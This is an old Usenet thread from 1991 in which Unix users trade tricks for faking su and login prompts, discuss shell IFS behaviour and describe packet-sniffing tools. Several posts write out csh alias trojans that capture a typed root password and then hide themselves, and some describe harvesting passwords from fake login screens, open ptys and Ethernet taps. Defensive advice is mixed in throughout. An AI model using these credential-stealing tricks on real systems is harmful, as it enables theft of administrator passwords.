>Script started on Fri Nov 15 00:58:43 1991
>j...@sauna.cs.hut.fi '~' 1: alias /bin/su echo 'KukkuuReset'
>j...@sauna.cs.hut.fi '~' 2: /bin/su
>KukkuuReset
>j...@sauna.cs.hut.fi '~' 3: ^D
>
>script done on Fri Nov 15 00:59:32 1991
>
>>( the simple answers are always the best )
>
>Indeed. Try \su. Better yet, don't leave your terminal unattended or
>your .cshrc (or whatever) world-writable if you use a root account and
>don't want someone else to use it.
Serves you right for using csh really.
; fn /bin/su { echo hi }
; /bin/su
Password:
#
You can't fool rc like that. Anything which starts with a / is an
absolute path. Period. Anything starting with ./ or ../ is an absolute
path. Period.
Dylan. (waiting for the day when he can rm /bin/csh...)
--
dy...@ibmpcug.co.uk || ...!uunet!uknet!ibmpcug!dylan
Just follow the simple rule - Rob Pike
Brian D. Howard (CS)
>Actually, I was rather fond of leaving an unassuming world-readable file
>laying around in my home directory with a name like salary.info. The
>contents of the file were (of course):
>cat: cannot open salary.info
My favorite is to leave that FIFO called .plan in my home directory...
--
_______________________________________________________________________________
This space intentionally left what would otherwise be blank were this not here.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
David Canzi
It should, of course, prompt for and read a password first.
(I've actually had this happen to me. Su will segfault after reading
the password under some conditions, on some systems: eg. on a Sun4
running SunOS4.1.1 and using the resolver library, when it can't
contact any name server. Login fails too. Whether this affects Sun3's
and other versions of SunOS I don't know. When the system is in this
state, exiting from a superuser shell is like crossing the event
horizon...)
--
David Canzi
Bill Stewart 908-949-0705 erebus.att.com!wcs
]Serves you right for using csh really.
....
] You can't fool rc like that. Anything which starts with a / is an
] absolute path. Period. Anything starting with ./ or ../ is an absolute
] path. Period.
What does rc do if you set IFS="/$IFS" ? Can it be hosed as easily as
/bin/sh, which happily interprets /bin/su as
<whitespace> bin <whitespace> su
and tries to run a command named "bin" ?
] Dylan. (waiting for the day when he can rm /bin/csh...)
Well, why not today? Ksh provides all the *useful* csh features,
better implemented, and runs on just about anything. It's not as
small and elegant as rc or V10 sh, but it sure beats csh,
and it's upward-compatible from /bin/sh.
--
Pray for peace; Bill
#Bill Stewart +1-908-949-0705 erebus.att.com!wcs AT&T Bell Labs 4M312 Holmdel NJ
# CIA has "always aspired to be more than a team, to be a family" - Robert Gates
# "Big Brother is Watching" - George Orwell
Mike Van Pelt
>In article <1991Nov13....@pool.info.sunyit.edu> bu...@pool.info.sunyit.edu (Jesse Buckley) writes:
>>One of my favorite csh things is the following...
>>
>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>Wakey wakey! We were discussing how to give Sysadmins a heart failure, not
>how to get the root passwd. You know, something like echoing
>
>Nov 15 08:05:53 rufus su: 'su root' succeeded for hacker on /dev/ttyp1
>
>onto the console when you know that the sysadmin is looking...
I suspected that was the intended purpose of the alias. As many people
have pointed out, this is a very poor design for cracking purposes.
In my first "Learning Unix" class, out of boredom (I already knew a bit
of Unix, and there were several people in the class who Just Weren't
Getting It) I set my prompt to "# ". (I'm easily amused when I'm
sufficiently bored.) Eventually, the instructor came wandering by, saw
the "# " prompt, and went ballistic. Took me quite a while to convince
him that I hadn't really cracked root.
Something similar happened back at school on the Univac 1110: We had a
program to keep terminals from timing out and logging off due to
inactivity, called "diddle". Timeout was set to something *really*
obnoxious, like 3 minutes. You ran "diddle" every time you paused to
think or look at the manual. "Diddle" printed random errors from the
system error message list every 20 seconds or so, and made it look like
your terminal was in the middle of some big, long script. One with
serious problems, to be sure.
Anyway, someone left their terminal for a few minutes, and the Univac
systems analyst wandered by just as "diddle" chose to print a REALTIME
LEVEL 02 message. It took even longer to scrape him off the ceiling.
(Realtime level 02 was sort of like "nice --billions&billions".
Realtime has a higher priority than most of the operating system. It
was not supposed to be possible for a user to run realtime at all.)
Moral: When the suspect says "There's a perfectly innocent explanation
for this. Honest!" sometimes he's telling the truth.
--
"A people who expect to be ignorant Mike Van Pelt
and free expect what never will, Headland Technology/Video 7
and never can, be." m...@hsv3.lsil.com
-- Thomas Jefferson ...ames!vsi1!hsv3!mvp
Matthew Farwell
>In article <1991Nov15.1...@ibmpcug.co.uk> dy...@ibmpcug.co.uk (Matthew Farwell) writes:
>]Serves you right for using csh really.
>....
>] You can't fool rc like that. Anything which starts with a / is an
>] absolute path. Period. Anything starting with ./ or ../ is an absolute
>] path. Period.
>
>What does rc do if you set IFS="/$IFS" ? Can it be hosed as easily as
>/bin/sh, which happily interprets /bin/su as
> <whitespace> bin <whitespace> su
>and tries to run a command named "bin" ?
Script started on Sat Nov 16 13:02:34 1991
; whatis ifs
ifs=(' ' ' ' '
')
; ifs=('/' $ifs)
; whatis ifs
ifs=(/ ' ' ' ' '
')
; /bin/su
Password:
Sorry
;
script done on Sat Nov 16 13:03:00 1991
>] Dylan. (waiting for the day when he can rm /bin/csh...)
>
>Well, why not today? Ksh provides all the *useful* csh features,
>better implemented, and runs on just about anything. It's not as
>small and elegant as rc or V10 sh, but it sure beats csh,
>and it's upward-compatible from /bin/sh.
Because I haven't got ksh and Perl uses csh for globbing.
Dylan.
Al Donaldson
>>>One of my favorite csh things is the following...
>>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>
>dumb enough to fall for the alias you define DESERVES to get f*cked with.
This may be a "stupid" trojan horse, and I agree that if I su'ed and
couldn't do rootly things, I would become suspicious, too.
But in order for it to work the system administrator (logged in as a
general user) has to give the perpetrator access to his/her running csh
in order to plant it. Leaving a logged-in terminal unattended,
especially for a system administrator, is not real bright either.
Al
Sometimes you gotta fight stupidity with stupidity..
Chris Siebenmann
rc uses $ifs only to break apart the results of backquote expansion;
it doesn't use it at all when parsing commands. This is much more
sensible and predictable than sh's behavior, IMHO.
Matthew Farwell
>In article <1991Nov13....@casbah.acns.nwu.edu> nav...@casbah.acns.nwu.edu (John Navarra) writes:
>> NO LIE! This is a stupid trojan horse at that! Any sys-admin who is
>>dumb enough to fall for the alias you define DESERVES to get f*cked with.
>>..the FIRST thing I would do is 'whoami' and find out that I am not root.
>>Guess who would get f*cked with then!
>This may be a "stupid" trojan horse, and I agree that if I su'ed and
>couldn't do rootly things, I would become suspicious, too.
So would everyone, but an intelligent cracker wouldn't do this. Have
you ever typed your password wrongly because someone was watching you do
it? Did you think twice about typing it again? Take this trojan horse
(forgive me if this isn't right, my csh is rusty)
% alias su 'stty -echo ; echo Password: ; set f=$< ;\
echo $f >> root.passwd ; stty echo ; echo Sorry ; unalias su ; unalias /bin/su
% alias /bin/su su
These aliases imitate su, clear up after themselves, and the admin
thinks he's got the password wrong. So he tries again. Cracker goes
home to celebrate.
The answer is, of course, not to turn echoing off when you're typing
your password. That way you know if you've typed it wrong :-)
>But in order for it to work the system administrator (logged in as a
>general user) has to give the perpetrator access to his/her running csh
>in order to plant it. Leaving a logged-in terminal unattended,
>especially for a system administrator, is not real bright either.
The real answer is to restrict su to people in a certain group (only
executable by root? :-), or not to use it at all, and restricting logins
to the console, which isn't such a brilliant idea in most situations.
John Navarra
Well, yes and no. Yes- In order for the alias to work, you have to get
control of a sys-admins terminal (or shell). No - he doesn't have to *give*
you access - at least not of his knowing. There are MANY ways to accomplish
this.
For example, just to see if it could be done (easily), a couple
years ago I wrote a fake login screen that would run on the console as
part of my .logout. So to the unsuspecting user, he would just walk up to
the machine, type in his username and passwd, and get a "login incorrect".
Meanwhile, his passwd and username were recorded in a file in my dir, my
logout script ended, I was logged out, and the computer would flash its
system message up again and give the user another chance to log in. Note:
this was not very elegant at all! It could have be cleaned up to look nicer
because a machine doesn't *normally* put its entire opening message up
after one bad attempt at your passwd unless you have a simple message like
"Computername login: " where this wouldn't be noticed.
However, I managed to get MANY passwds that way - including the
sys-admins! Now, after you have his username passwd, making that alias for
him is no trouble at all - (except of course you do it intelligently and
not the way it was first described).
Another one of my friends fooled the sys-admin by having a program
called 'ks' in a directory. He went over to the sys-admin while he was
logged on as root, asked him to cd to that dir and he kinda 'grabbed' the
terminal and typed in 'ks' and said something like "Woops, I meant to type
'ls' instead." He had made some wierd looking files in there to ask the
sys-admin about and meanwhile, ks did its thing and hastily removed itself.
Thus, even though a trojan horse relies on a bit of ignorance on
the part of the victim, and a bit of cleverness on the part of the attacker,
I think you will find that really, these things have quite a success rate.
Of course, the first thing you might want to do is just run Crack! ;-)
-tms
>
>Al
>
>Sometimes you gotta fight stupidity with stupidity..
John Navarra
>
> Thus, even though a trojan horse relies on a bit of ignorance on
>the part of the victim, and a bit of cleverness on the part of the attacker,
>I think you will find that really, these things have quite a success rate.
>Of course, the first thing you might want to do is just run Crack! ;-)
One thing I forgot to mention though: If you get a rep of doing
things like this, it *generally* isn't good. No matter what your intentions
are in the future, some people just WILL NOT trust you in the least. I
suppose that is not too hard to imagine. HOwever, even people who might
have thought it was cool at the time sometimes will not trust you because
they don't want the same thing happening to them. And the truly paranoid
will blame you for nearly anything they can't explain themselves. I got
this a few times. Things would go wrong or behave out of the ordinary and
the everyday, unskilled Unix user will not sit down and try to think about
what he has done differently (or what else may be causing the undesired
effect) but would rather blame you since it is much easier. This can be
amusing, however, generally it is not simply because you can deny it
strenuously and some people still don't believe you.
Moral: You pay for your actions, sometimes, in ways you'd never thought
possible.
-tms
Dazed N. Confused
> Ah, but *real* system administrators type:
>
> \/bin/su -
This is silly.
REAL SYSTEM ADMINISTRATORS don't leave their login consoles
unattended, and log out when not in use!
Forget /bin/su. Use ^D.
--Jon
jon%vec...@sactoh0.sac.ca.us
PacBell.Com!sactoh0!vector0!jon Life is like a kiwi.
doug mcdonald
In article <2PygBB4w164w@vector0> jon%vec...@sactoh0.SAC.CA.US (Dazed N. Confused) writes:
>cas...@fwi.uva.nl (Casper H.S. Dik) writes:
>
>>
>> \/bin/su -
>
>
> REAL SYSTEM ADMINISTRATORS don't leave their login consoles
>unattended, and log out when not in use!
>
> Forget /bin/su. Use ^D.
>
>
That is the least of your worries: our computers sit unattended. Anybody
can sit at the console, which is an ordinary terminal whose wire
goes into an inpenetrable mass. Anybody can attach a tap to it
any the operator will never notice. It has in fact been done.
And the operators usually log in over the Ethernet - all anyone has to do
is snoop that.
Doug McDonald
David Vincenzetti
I have written a program that spies pseudo terminals when they are
first used by rlogin or telnet or similar programs. I can steal the
root password on most unixes in hours, or even minutes.
The bug lies on the fact that the idle unallocated ptys are by
default mode 666, and so readable and writeable by everyone. The login
phase is virtually simulated, the user cannot get aware of what is
happening, unless it effectively enters the password, and at that time
it is too late.
The bug is simple and evident: it's a just a matter of programming skill.
--
David Vincenzetti
Deptt. of CS, Univ. of Milan: +39-2-55006_392, vi...@ghost.dsi.unimi.it
(Alternate: Polytechnic of Milan: +39-2-23992_417, vi...@cdc835.cdc.polimi.it)
$home: 8th street 39, 20090 Segrate, Milan, Italy
Douglas Mason
>
>And the operators usually log in over the Ethernet - all anyone has to do
>is snoop that.
Since I have been into the security scene, I have taken a look at just about
every type of little hack program that does everything from reading kmem to
war-dialing your hayes modem.
In many discussions that I have attended, everyone talks about the dreaded
"promiscuious" programs that can sit on ethernet and read all of the packets
coming across, or just ones assigned to a particular node.
Do these programs actually exist? I know how (in theory) they could actually
work, but without using some type of driver on the remote end, I haven't
seen anything that can actually "listen" to everything on the line.
Has anyone had any experiance with this type of thing?
-DM
--
Douglas Mason dou...@netcom.COM
Network administration / software development dou...@netcom.UUCP
Approach Software Corporation +1 415.306.7889
Peter Lipp
Peter
Paul Leyland
In article <1991Nov13.1...@wherever.com> fr...@wherever.com (Frank 'Scruff' Miller) writes:
>In article <1991Nov13....@pool.info.sunyit.edu> bu...@pool.info.sunyit.edu (Jesse Buckley) writes:
>>
>>One of my favorite csh things is the following...
>>
>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>
>Such 'trojan horses' have to be the cheesiest hack about ...
NO LIE! This is a stupid trojan horse at that!
How true.
...
although very concerned with security, will not think twice if their 'su'
doesn't work correctly on the first try. Frankly, it is just a pain in the
ass to change the root passwd everytime you type it in wrong the first time
even given that there is a chance someone is trying the old trojan horse
trick. So, even though they might have wiped out many many holes in the
system - thus making the average hacker's life harder -- they may easily
fall prone to this old trick from a fairly novice programmer.
Agreed, I mis-type root's password every now and again. However, I don't fall
for this type of Trojan. I always, but *always* type
/bin/su - root
Fair enough, the bad guy may have fiddled with IFS if they're using
sh, but an absolute path, the "-" switch and the fullname "root"
covers most eventualities.
Paul
--
Paul Leyland <p...@convex.oxford.ac.uk> | Hanging on in quiet desperation is
Oxford University Computing Service | the English way.
13 Banbury Road, Oxford, OX2 6NN, UK | The time is come, the song is over.
Tel: +44-865-273200 Fax: +44-865-273275 | Thought I'd something more to say.
Eric Wedaa
>In article <1991Nov17.1...@ux1.cso.uiuc.edu> mcdo...@aries.scs.uiuc.edu (doug mcdonald) writes:
>>
>>And the operators usually log in over the Ethernet - all anyone has to do
>>is snoop that.
>In many discussions that I have attended, everyone talks about the dreaded
>"promiscuious" programs that can sit on ethernet and read all of the packets
>coming across, or just ones assigned to a particular node.
>Do these programs actually exist? I know how (in theory) they could actually
>Has anyone had any experiance with this type of thing?
For the record, yes they exist. In fact, on some OS's it is a standard
feature. (Runnable by root only, usually). Even on (gag) DOS boxes,
there are PD and Shareware programs that snarf up everything coming
through the net, or selectively filters for packets to/from destinations.
The "legitimate" use of these utilities is to figure out what machine
is throwing up on the network, or to verify that your ethernet code
really is sending what you think it is.
>>>Ericw
--
Eric Wedaa - er...@amd.com | Two more kinds of lies...
{ames apple uunet}!amd!ericw | Release Dates, and Benchmarks
We don't care what other people think" -- response from a member of the
Apple Developer Council
Bennett E. Todd
>In article <1991Nov17.1...@ux1.cso.uiuc.edu> mcdo...@aries.scs.uiuc.edu (doug mcdonald) writes:
>>
>>And the operators usually log in over the Ethernet - all anyone has to do
>>is snoop that.
>In many discussions that I have attended, everyone talks about the dreaded
>"promiscuious" programs that can sit on ethernet and read all of the packets
>coming across, or just ones assigned to a particular node.
>
>Do these programs actually exist? I know how (in theory) they could actually
>work, but without using some type of driver on the remote end, I haven't
>seen anything that can actually "listen" to everything on the line.
>
>Has anyone had any experiance with this type of thing?
That would be ``yup''. Sun ships one: you can run etherfind(8) with the
``-x'' option, and use ``src'', ``dst'', ``srcport'', ``dstport'', and so on
to restrict the packets (so you don't get flooded). Run this logging its
output to a file, and all you've got to do is translate the hex strings back
to ASCII. This isn't too hard.
Also, PC/IP (I forget where I got it from; CMU? I know it was hacked from
the original MIT release) came with a diagnostic program that gave a nice
full-screen real-time updated report of the packets going over the wire.
It would be no more than an afternoon's work to make a really sexy perl
wrapper around etherfind that could sit on the wire and suck down
login/passwd pairs all day long. If you care about security, you either have
to use a stronger authentication system (such as Kerberos) or you have to
strictly control every machine on your network to prevent anyone from being
permitted to run such programs.
-Bennett
b...@sbi.com
--
-Bennett
b...@sbi.com
Todd Hooper
> In many discussions that I have attended, everyone talks about the dreaded
> "promiscuious" programs that can sit on ethernet and read all of the packets
> coming across, or just ones assigned to a particular node.
>
> Do these programs actually exist? I know how (in theory) they could actually
> work, but without using some type of driver on the remote end, I haven't
> seen anything that can actually "listen" to everything on the line.
For Macintoshes on either Ethernet or Localtalk, you can get the program Watch
1.4.2 from info-mac as info-mac/comm/watch.hqx.
I've actually got Watch 1.6.2 from somewhere...I am sure archie would know
where that was.
This does pretty much everything a cracker would need.
> Has anyone had any experiance with this type of thing?
Yes, very useful for watching Laserwriters to see what the hell they are doing
when you have driver problems!
Todd
Peter Lipp
>
>Do these programs actually exist? I know how (in theory) they could actually
>work, but without using some type of driver on the remote end, I haven't
>seen anything that can actually "listen" to everything on the line.
>
that do that for purpose (watching the net for whatever reason).
Second the Packet Drivers for PC's support the promiscuos mode. With a little
programming you can write a one-page programm that writes everything to a file.
You might loose some packets but in principle no problem.
PD-Programs like PCBridge rely on this.
Peter
Paul Smee
>In many discussions that I have attended, everyone talks about the dreaded
>"promiscuious" programs that can sit on ethernet and read all of the packets
>coming across, or just ones assigned to a particular node.
>Do these programs actually exist? I know how (in theory) they could actually
It's part of the very nature of ethernet that all packets get sent to
all machines, and each machine is supposed to be polite and ignore any
which are not addressed to it. It's probably actually easier to make a
promiscuous ether listener than to make a polite one. They certainly
do exist, and they have 'valid' diagnostic uses as well as 'nasty'
hacker ones.
--
Paul Smee, Computing Service, University of Bristol, Bristol BS8 1UD, UK
P.S...@bristol.ac.uk - ..!uunet!ukc!bsmail!p.smee - Tel +44 272 303132
Frank 'Scruff' Miller
>>
>>And the operators usually log in over the Ethernet - all anyone has to do
>>is snoop that.
>
>
>
>
>-DM
>
>
In the sun environment there are NIT calls (network interface tap) to open
/dev/nit. You can then write code that will read packets...this is what
etherfind and traffic utilizes.
Check out a man nit.
Frank
Ian G Batten
> In the sun environment there are NIT calls (network interface tap) to open
> /dev/nit. You can then write code that will read packets...this is what
> etherfind and traffic utilizes.
It's horrifyingly easy. The manual pages tells you what you need to
know and a ``look for all telnet sessions and print the login exchange''
program takes perhaps two hours to write. The kernel has a little rpn
calculator to do the packet filtering with.
On a Sun, unless you have good cause not to it's worth removing
pseudo-device snit # streams NIT
pseudo-device pf # packet filter
pseudo-device nbuf # NIT buffering module
from your kernel. Especially from the ones your students can easily
become root on!
ian
John Goggan
written...
Um, was there an extra point/meaning to this? I have two such programs
which run on a wide variety of machines (SunOS (including 4.1.1), Ultrix,
BSD, etc...) -- ...and I've had them for over a year now at least -- it's
"old news," isn't it? (NOTE: I'm not trying to sound "upset" -- I was
writing because I thought that the tty/pty 'hole' was all quite public
knowledge now -- many have written such programs...
- John Goggan